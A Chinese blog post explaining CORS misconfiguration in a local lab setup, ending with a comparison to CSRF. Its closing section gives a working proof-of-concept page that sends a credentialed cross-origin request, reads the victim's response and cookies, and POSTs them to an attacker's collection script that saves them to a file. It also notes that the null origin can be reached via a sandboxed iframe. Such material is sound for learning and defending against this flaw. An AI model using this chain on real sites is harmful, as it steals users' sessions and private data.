CORS跨域资源共享漏洞初探

介绍

跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP 头来告诉浏览器  让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。
比如,站点 http://domain-a.com 的某 HTML 页面通过<img>的src请求 http://domain-b.com/image.jpg 网络上的许多页面都会加载来自不同域的CSS样式表,图像和脚本等资源。
出于安全原因,浏览器限制从脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。(译者注:这段描述不准确,并不一定是浏览器限制了发起跨站请求,也可能是跨站请求可以正常发起,但是返回结果被浏览器拦截了。)

跨域资源共享( CORS )机制允许 Web 应用服务器进行跨域访问控制,从而使跨域数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 XMLHttpRequest 或 Fetch )使用 CORS,以降低跨域 HTTP 请求所带来的风险。

实践

www.x.com/cors.html 测试页面

<html>
<head></head>
<body>
</body>
<script>
var invocation = new XMLHttpRequest();
var url = 'http://127.0.0.1/remember/CORS.php';
function callOtherDomain() {
  if(invocation) {    
    invocation.open('GET', url, true);
    // invocation.onreadystatechange =;
    invocation.send(); 
  }
}
callOtherDomain();
</script>
</html>

127.0.0.1/remember/CORS.php 服务端

<?php
setcookie("user","userpassword",null,null,null,null,null);

打开www.x.com/cors.html页面会对127.0.0.1发出Ajax请求,Ajax请求默认不同域会被浏览器同源策略拦截返回数据

<?php
header("Access-Control-Allow-Origin: *"); //设置该头表示允许访问的地址 *为无限制
setcookie("user","userpassword",null,null,null,null,null);

当设置了CORS头为*后可以发现浏览器放行了数据,并没有拦截

header("Access-Control-Allow-Origin:http://foo.example");//声明指定域名可以跨域访问

现在,除了 http://foo.example,其它外域均不能访问该资源

因为域名不匹配而被拦截返回数据
现在出现了一个神奇的事情
我们将www.x.com/remember/cors.html这样构造

<html>
<head></head>
<body>
</body>
<script>
var invocation = new XMLHttpRequest();
var url = 'http://127.0.0.1/remember/CORS.php';
function callOtherDomain() {
  if(invocation) {
    invocation.onreadystatechange=function(){
      if(this.readyState==4&&this.status==200){
      alert(this.responseText);//弹出返回数据
      }
    };
    invocation.onerror = function(){
      alert("跨域请求失败");
    }
    invocation.open('GET', url, true);
    invocation.withCredentials=true;//访问时带上cookie(谁的cookie??)
    invocation.send(); 
  }
}
callOtherDomain();
</script>
</html>

而服务端这样构造

<?php
header("Access-Control-Allow-Origin:http://www.x.com");//告诉浏览器允许跨越接收来自www.x.com请求后返回数据
header("Access-Control-Allow-Credentials:true");//告诉浏览器允许跨越接收cookIe
if(!$_COOKIE){//判断cookie是否存在
    setcookie("user","hxy520",null,null,null,null,null);
    setcookie("password","lovelovery",null,null,null,null,1);//设置httponly cookie
}
print_r($_COOKIE);//输出cookie
?>

先来看下两个页面的cookie

127.0.0.1的cookie为空

www.x.com也为空
如果在未访问127.0.0.1/remember/cors.php(服务端)的情况下访问www.x.com/remember/cors.html

可以看到第一次访问cookie为空,服务端返回Set-Cookie,浏览器准备存储cookie,猜一猜cookie会存哪里?

www.x.com未存储cookie

cookie被存储在了未访问过的127.0.0.1中(实际上已经通过Ajax访问过了)
再次访问www.x.com

这次的请求头带上了127.0.0.1的cookie 服务端正确读取并显示,(注意跟服务端的Access-Control-Allow-Credentials头的设置有关)
这时将Access-Control-Allow-Credentials:true设置为false


这次访问还是带上了cookie

响应页面正常响应

数据被浏览器同源策略阻止
这时我们来修改下127.0.0.1页面存储的cookie(记得打开服务端发送cookie)



可以看到www.x.com弹出了修改后的cookie

总结

由此得出结论,如果服务端

header("Access-Control-Allow-Origin:{$_SERVER['HTTP_ORIGIN']}");
header("Access-Control-Allow-Credentials:true");//允许发送cookIe

这两项配置为$_SERVER'HTTP_ORIGIN'和true时,在任何外域发起的Ajax请求都将会带上该页面的cookie,什么意思?
就是说如果你登录了QQ空间,如果QQ空间的CORS配置不正确,那么我们就可以在任何一个域(恶意构造页面)中发起一个Ajax请求同时将withCredentials设置为True来请求QQ空间。这样当你访问恶意构造的页面时,恶意构造的页面将会发送一个Ajax请求到QQ空间并带上你的QQ空间cookie,而返回的数据正是带cookie访问的QQ空间的HTML源码!这个数据对于恶意构造页面的攻击者来说完全是可操作的,比如拿到这个数据后再发生一个AjaxPOST请求到攻击者搭建的数据接收页面
譬如这样构造

<html>
<head></head>
<body>
</body>
<script>
var invocation = new XMLHttpRequest();
var invocation2 = new XMLHttpRequest();
var url = 'http://127.0.0.1/remember/CORS.php';
function callOtherDomain() {
  if(invocation) {
    invocation.onreadystatechange=function(){
      if(invocation.readyState==4&&invocation.status==200){
      var datas=invocation.responseText
      alert(datas);//弹出返回数据
      invocation2.open("POST","http://www.x.com/remember/save.php",true);//二次发送数据到接收页面
      invocation2.setRequestHeader("Content-type","application/x-www-form-urlencoded");//规定头
      invocation2.send("secrect="+escape(datas));//发送数据
      }
    };
    invocation.onerror = function(){
      alert("跨域请求失败");
    }
    invocation.open('GET', url, true);
    invocation.withCredentials=true;//访问时带上cookie
    invocation.send(); 
  }
}
callOtherDomain();
</script>
</html>
save.php
<?php
$file = fopen("secrect.txt", "w+") or die("Error opening!");
$datas = $_POST['secrect'];
fwrite($file, $datas);
fclose($file);
?>

来测试下
模拟受害者访问www.x.com

cookie被发送

coo被save.php接收保存

cookie被保存 信息被泄露 实际环境保存的可能就是登录后的某站页面了,
引用CSRF原理 好像和这个一样啊。。。 
CSRF不能读取用户敏感数据,而CORS可以
CORS的规范中还提到了“NULL”源。触发这个源是为了网页跳转或者是来自本地HTML文件。
目标应用可能会接收“null"源,并且这个可能被测试者(或者攻击者)利用,任何网站很容易使用沙盒iframe来获取”null“源

CORS与CSRF的区别

相同点

  • 都要借助第三方网站
  • 都要借助ajax的异步过程
  • 一般都需要用户登录
    不同点
  • 第三方网站可以利用CORS漏洞读取到受害者的敏感信息
  • 第三方网站可以利用CSRF漏洞替受害者完成诸如转账等敏感操作
  • 一般有CORS漏洞的地方都有CSRF漏洞
posted @ 2020-07-14 22:52  AirSkys  阅读(739)  评论(0编辑  收藏  举报